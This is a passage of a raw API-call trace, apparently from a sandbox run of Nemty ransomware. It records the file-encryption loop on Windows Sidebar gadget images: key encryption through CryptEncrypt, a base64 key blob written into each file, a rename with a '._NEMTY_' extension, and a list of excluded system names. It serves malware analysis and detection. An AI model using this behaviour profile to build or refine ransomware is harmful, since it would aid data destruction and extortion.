30 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg_orange.png", lpUsedDefaultChar=0x0) returned 30 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg_orange.png", lpUsedDefaultChar=0x0) returned 30 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg_orange.png", lpUsedDefaultChar=0x0) returned 30 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340308 [0112.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0112.069] Sleep (dwMilliseconds=0x5) [0112.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6743c10, dwHighDateTime=0x1d561e7)) [0112.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6743c10, dwHighDateTime=0x1d561e7)) [0112.084] GetLastError () returned 0x5 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.084] GetLastError () returned 0x5 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0112.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.084] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403d0 [0112.084] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403d0, pcchString=0x653e91c | out: pszString="wIwEuAFwDgPnQIL1v0+aieHjFRgoTm5E6nNCYpGOelGm7DjROvJYz5ImIe92AJvu\r\nJwNac1q05sSG+vOqUGGwwjelCLfEgyUvyuZSK1IjdhCACWqZX7CNdALVc8cHstQ5\r\n4t9awFzR+G544iXiUaDLLaMsiQCMXLgdJRWLRlXmsor3tvVio6hfL6/D2EDy1ae3\r\n30coreJ5oIrLML/zaGulI22mO5TWMIERl3K2oxkkUT7+WMWiVA5BP3WlrMM1xyg8\r\nEUP0fVxPyn6RJ2c+i+mHvROQsk4HTozhd1SGH6BLgyvK8fbaNZyvXwZokoZeCFos\r\nbn7gAiAi7sRiUl71CSr+RA==\r\n", pcchString=0x653e91c) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0112.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403d0 [0112.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.084] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.085] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.192] CloseHandle (hObject=0xffffffff) returned 0 [0112.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0112.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0112.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0112.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0112.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0112.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg_orange.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg_orange.png._nemty_kgobjgd_")) returned 0 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.193] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283bcea5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2=".") returned 1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="..") returned 1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="...") returned 1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="windows") returned -1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="$RECYCLE.BIN") returned 1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="rsa") returned -1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="NTDETECT.COM") returned -1 [0112.193] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="ntldr") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="MSDOS.SYS") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="IO.SYS") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="boot.ini") returned 1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="boot.ini") returned 1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="ntuser.dat") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="desktop.ini") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="CONFIG.SYS") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="RECYCLER") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="BOOTSECT.BAK") returned 1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="bootmgr") returned 1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="programdata") returned -1 [0112.194] lstrcmpiW (lpString1="calendar_single_orange.png", lpString2="appdata") returned 1 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_orange.png", lpUsedDefaultChar=0x0) returned 26 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_orange.png", lpUsedDefaultChar=0x0) returned 26 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_orange.png", lpUsedDefaultChar=0x0) returned 26 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 